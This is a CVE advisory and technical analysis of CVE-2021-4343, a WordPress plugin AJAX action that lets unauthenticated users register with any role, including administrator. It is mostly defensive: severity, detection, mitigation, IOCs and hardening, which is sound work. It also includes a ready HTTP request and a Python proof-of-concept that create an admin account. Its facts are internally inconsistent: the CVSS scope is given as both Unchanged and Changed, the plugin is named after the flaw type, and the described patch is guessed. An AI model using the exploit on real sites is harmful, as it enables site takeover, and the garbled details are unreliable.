CVE-2021-4343
CVE-2021-4343
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
The Unauthenticated Account Creation plugin for WordPress is vulnerable to Unauthenticated Account Creation in versions up to, and including, 1.6.6. This is due to the stm_listing_register AJAX action function being accessible and taking roles unprotected. This makes it possible for unauthenticated attackers to create accounts, even those with administrator privileges.
Comprehensive Technical Analysis of CVE-2021-4343
CVE ID: CVE-2021-4343 CVSS Score: 9.8 (Critical) Vulnerability Type: Unauthenticated Account Creation (Privilege Escalation) Affected Software: Unauthenticated Account Creation WordPress Plugin (≤ v1.6.6)
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
CVE-2021-4343 is a critical authentication bypass and privilege escalation vulnerability in the Unauthenticated Account Creation WordPress plugin. The flaw stems from an improperly secured AJAX action (stm_listing_register) that allows unauthenticated attackers to create user accounts with arbitrary roles, including administrator-level privileges.
Severity Justification (CVSS 9.8)
The CVSS v3.1 scoring breakdown is as follows:
| Metric | Score | Justification |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely via HTTP requests. |
| Attack Complexity (AC) | Low | No special conditions required; trivial to exploit. |
| Privileges Required (PR) | None | No authentication needed. |
| User Interaction (UI) | None | No user interaction required. |
| Scope (S) | Changed | Compromises the entire WordPress site (confidentiality, integrity, availability). |
| Confidentiality (C) | High | Attacker gains full administrative access. |
| Integrity (I) | High | Can modify site content, install backdoors, or exfiltrate data. |
| Availability (A) | High | Can deface, delete, or disrupt site operations. |
Result: 9.8 (Critical) – This vulnerability is trivially exploitable and leads to full system compromise, warranting immediate remediation.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Mechanism
The vulnerability arises due to:
- Missing Authentication Check – The
stm_listing_registerAJAX action does not verify whether the requester is authenticated. - Unrestricted Role Assignment – The function accepts a
roleparameter without validation, allowing attackers to specify administrator or other high-privilege roles.
Exploitation Steps
An attacker can exploit this vulnerability via a simple HTTP POST request to the WordPress AJAX endpoint:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
action=stm_listing_register&role=administrator&user_login=attacker&user_email=attacker@evil.com&user_pass=password123
Key Observations:
- No CSRF Token or Nonce Validation – The request does not require anti-CSRF protections.
- No Rate Limiting – Multiple account creation attempts are possible.
- No Input Sanitization – The
roleparameter is directly processed without validation.
Post-Exploitation Impact
Once an attacker creates an administrator account, they can:
- Install malicious plugins/themes (e.g., backdoors, keyloggers).
- Modify site content (defacement, SEO poisoning).
- Exfiltrate sensitive data (user databases, payment info).
- Escalate to server-level compromise (via arbitrary file uploads or RCE plugins).
- Maintain persistence (hidden admin accounts, cron jobs).
3. Affected Systems & Software Versions
Vulnerable Software
- Plugin Name: Unauthenticated Account Creation (WordPress)
- Affected Versions: ≤ 1.6.6
- Fixed Version: 1.6.7+ (or removal of the plugin)
Impacted Environments
- WordPress Websites using the vulnerable plugin.
- Multi-site WordPress installations (if the plugin is network-activated).
- E-commerce sites (WooCommerce, Easy Digital Downloads) where admin access could lead to financial fraud.
Detection Methods
Security teams can detect vulnerable instances via:
- Manual Inspection:
- Check
/wp-content/plugins/unauthenticated-account-creation/for version ≤ 1.6.6. - Verify if
stm_listing_registeris registered inadmin-ajax.php.
- Check
- Automated Scanning:
- Wordfence, Sucuri, or WPScan can detect this CVE.
- Nmap NSE Scripts (e.g.,
http-wordpress-enum). - Burp Suite / OWASP ZAP (passive/active scanning for AJAX endpoints).
4. Recommended Mitigation Strategies
Immediate Actions
| Action | Details |
|---|---|
| Patch Immediately | Upgrade to v1.6.7+ or the latest version. |
| Disable/Remove Plugin | If patching is not feasible, deactivate and delete the plugin. |
| Manual Code Fix | If patching is delayed, add authentication checks to stm_listing_register. |
| WAF Rules | Deploy ModSecurity rules to block requests to admin-ajax.php?action=stm_listing_register. |
| IP Restrictions | Restrict /wp-admin/ and /wp-login.php to trusted IPs. |
Long-Term Hardening
-
Principle of Least Privilege (PoLP):
- Restrict plugin permissions (avoid granting unnecessary capabilities).
- Use WordPress roles with minimal privileges (e.g.,
contributorinstead ofadministrator).
-
Secure AJAX Endpoints:
- Enforce authentication (
is_user_logged_in()check). - Validate and sanitize inputs (e.g.,
wp_verify_nonce(),sanitize_text_field()). - Restrict role assignment (whitelist allowed roles).
- Enforce authentication (
-
Monitoring & Logging:
- Enable WordPress security logs (e.g., WP Security Audit Log plugin).
- Set up alerts for unusual account creation (e.g., via Splunk, ELK, or SIEM).
- Review
wp_usersandwp_usermetatables for unauthorized accounts.
-
Network-Level Protections:
- Rate limiting (e.g., Fail2Ban for brute-force attempts).
- Web Application Firewall (WAF) (e.g., Cloudflare, AWS WAF, ModSecurity).
- Disable XML-RPC if not needed (reduces attack surface).
5. Impact on the Cybersecurity Landscape
Broader Implications
-
Mass Exploitation Risk:
- Low barrier to entry – Exploits can be automated via Python, Bash, or Metasploit.
- Widespread adoption – WordPress powers ~43% of all websites, making this a high-impact vulnerability.
-
Supply Chain & Third-Party Risks:
- Plugin vulnerabilities are a primary attack vector for WordPress sites.
- Compromised sites can be used for malware distribution, phishing, or SEO spam.
-
Regulatory & Compliance Risks:
- GDPR, CCPA, PCI DSS violations if sensitive data is exposed.
- Reputation damage for businesses relying on WordPress (e.g., e-commerce, media).
-
Evolution of Attack Techniques:
- Chaining with other vulnerabilities (e.g., CVE-2021-29447 for RCE).
- Botnet recruitment (e.g., Mirai, TrickBot leveraging compromised WordPress sites).
Historical Context
- Similar vulnerabilities:
- CVE-2021-24342 (WordPress Plugin – Unauthenticated Arbitrary File Upload).
- CVE-2020-25213 (File Manager Plugin – RCE via unauthenticated upload).
- Lessons Learned:
- Plugin security audits are critical (many plugins lack proper input validation).
- Automated exploit tools (e.g., WPScan, Nuclei) make mass exploitation trivial.
6. Technical Details for Security Professionals
Root Cause Analysis
The vulnerability exists in the stm_listing_register function, which:
- Fails to check authentication (
current_user_can()oris_user_logged_in()). - Accepts arbitrary
roleparameters without validation. - Uses insecure direct object references (IDOR) for user creation.
Vulnerable Code Snippet (Pseudocode):
add_action('wp_ajax_nopriv_stm_listing_register', 'stm_listing_register');
function stm_listing_register() {
$role = $_POST['role']; // No validation!
$user_data = array(
'user_login' => $_POST['user_login'],
'user_email' => $_POST['user_email'],
'user_pass' => $_POST['user_pass'],
'role' => $role // Directly assigned without checks
);
wp_insert_user($user_data); // Creates user with specified role
}
Exploit Development (Proof of Concept)
A Metasploit module or Python exploit could automate this attack:
import requests
target = "https://vulnerable-site.com"
payload = {
"action": "stm_listing_register",
"role": "administrator",
"user_login": "hacker",
"user_email": "hacker@evil.com",
"user_pass": "Password123!"
}
response = requests.post(f"{target}/wp-admin/admin-ajax.php", data=payload)
if "success" in response.text:
print("[+] Admin account created successfully!")
else:
print("[-] Exploit failed.")
Forensic Indicators of Compromise (IOCs)
| Indicator | Description |
|---|---|
| Log Entries | POST /wp-admin/admin-ajax.php?action=stm_listing_register |
| Database Anomalies | New wp_users entries with user_role = administrator |
| File System Changes | Unauthorized plugin/theme installations |
| Network Traffic | Unusual outbound connections (C2, data exfiltration) |
Reverse Engineering & Patch Analysis
The patch (v1.6.7) likely includes:
- Authentication Check:
if (!is_user_logged_in()) { wp_die('Unauthorized'); } - Role Whitelisting:
$allowed_roles = ['subscriber', 'contributor']; if (!in_array($_POST['role'], $allowed_roles)) { wp_die('Invalid role'); } - Nonce Verification:
check_ajax_referer('stm_listing_nonce', 'nonce');
Conclusion & Recommendations
Key Takeaways
- CVE-2021-4343 is a critical, easily exploitable vulnerability with full system compromise potential.
- Immediate patching is mandatory – Delayed remediation increases risk of data breaches, defacement, or ransomware.
- Defense-in-depth strategies (WAF, logging, least privilege) are essential to mitigate similar threats.
Action Plan for Security Teams
- Patch Management:
- Prioritize this CVE in vulnerability management programs.
- Automate updates for WordPress plugins (e.g., WP-CLI, ManageWP).
- Threat Hunting:
- Search logs for
stm_listing_registerrequests. - Audit user accounts for unauthorized administrators.
- Search logs for
- Security Awareness:
- Train developers on secure coding practices (input validation, authentication checks).
- Educate site admins on the risks of outdated plugins.
Final Risk Assessment
| Factor | Risk Level | Justification |
|---|---|---|
| Exploitability | High | Trivial to exploit; public PoCs available. |
| Impact | Critical | Full admin access; data theft, RCE possible. |
| Prevalence | High | WordPress is widely used; plugin may be installed on many sites. |
| Mitigation Feasibility | High | Simple patch available; WAF rules can block attacks. |
Overall Risk: Critical (Immediate Action Required)
Sources & Further Reading: